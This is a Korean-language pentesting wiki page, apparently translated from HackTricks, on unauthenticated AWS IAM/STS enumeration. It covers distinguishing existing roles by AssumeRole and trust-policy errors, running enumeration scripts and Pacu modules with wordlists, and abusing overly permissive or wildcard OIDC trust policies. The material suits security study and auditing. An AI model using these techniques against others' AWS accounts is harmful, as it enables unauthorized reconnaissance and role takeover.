AWS - IAM & STS 인증되지 않은 열거

Reading time: 5 minutes

계정의 역할 및 사용자 이름 열거

역할 가정 무차별 대입

필요한 권한 없이 역할을 가정하려고 하면 AWS 오류 메시지가 발생합니다. 예를 들어, 권한이 없는 경우 AWS는 다음과 같은 메시지를 반환할 수 있습니다:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

이 메시지는 역할의 존재를 확인하지만, 해당 역할의 가정 정책이 당신의 가정을 허용하지 않음을 나타냅니다. 반면, 존재하지 않는 역할을 가정하려고 하면 다른 오류가 발생합니다:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

흥미롭게도, 존재하는 역할과 존재하지 않는 역할을 구별하는 이 방법은 서로 다른 AWS 계정 간에도 적용 가능합니다. 유효한 AWS 계정 ID와 타겟 단어 목록이 있으면, 본인의 계정에 존재하는 역할을 열거할 수 있으며, 본질적인 제한에 직면하지 않습니다.

이 문제를 악용하여 잠재적인 주체를 열거하는 스크립트를 사용할 수 있습니다.

신뢰 정책: 크로스 계정 역할 및 사용자에 대한 무차별 대입

IAM 역할의 신뢰 정책을 구성하거나 업데이트하는 것은 어떤 AWS 리소스나 서비스가 해당 역할을 맡고 임시 자격 증명을 얻을 수 있는지를 정의하는 것을 포함합니다. 정책에 지정된 리소스가 존재하면, 신뢰 정책은 성공적으로 저장됩니다. 그러나 리소스가 존재하지 않으면, 오류가 발생하여 잘못된 주체가 제공되었음을 나타냅니다.

다음은 정책 예시입니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

존재하지 않는 역할을 사용하면 이 오류가 발생합니다. 역할이 존재하면 정책이 오류 없이 저장됩니다. (이 오류는 업데이트에 대한 것이지만 생성할 때도 작동합니다)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

이 프로세스는 https://github.com/carlospolop/aws_tools로 자동화할 수 있습니다.

• bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Pacu를 사용하여:

• run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
• run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
• 예제에서 사용된 admin 역할은 pacu가 열거를 위해 필요한 정책을 생성하기 위해 가장할 수 있는 귀하의 계정의 역할입니다.

Privesc

역할이 잘못 구성되어 누구나 이를 가정할 수 있는 경우:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

공격자는 그것을 가정할 수 있습니다.

제3자 OIDC 연합

AWS 내의 역할에 접근하는 Github Actions 워크플로우를 읽을 수 있다고 상상해 보십시오.
이 신뢰는 다음과 같은 신뢰 정책을 가진 역할에 대한 접근을 제공할 수 있습니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

이 신뢰 정책은 올바를 수 있지만, 더 많은 조건의 부족으로 인해 신뢰하지 않아야 합니다.
이것은 이전 역할이 Github Actions의 누구든지 가정할 수 있기 때문입니다! 조건에 조직 이름, 저장소 이름, 환경, 브랜치와 같은 다른 사항도 명시해야 합니다...

또 다른 잠재적인 잘못된 구성은 다음과 같은 조건을 추가하는 것입니다:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

콜론 (:) 앞에 와일드카드 (*)가 있다는 점에 유의하세요. org_name1과 같은 조직을 만들고 역할을 가정할 수 있습니다.

참조

• https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
• https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/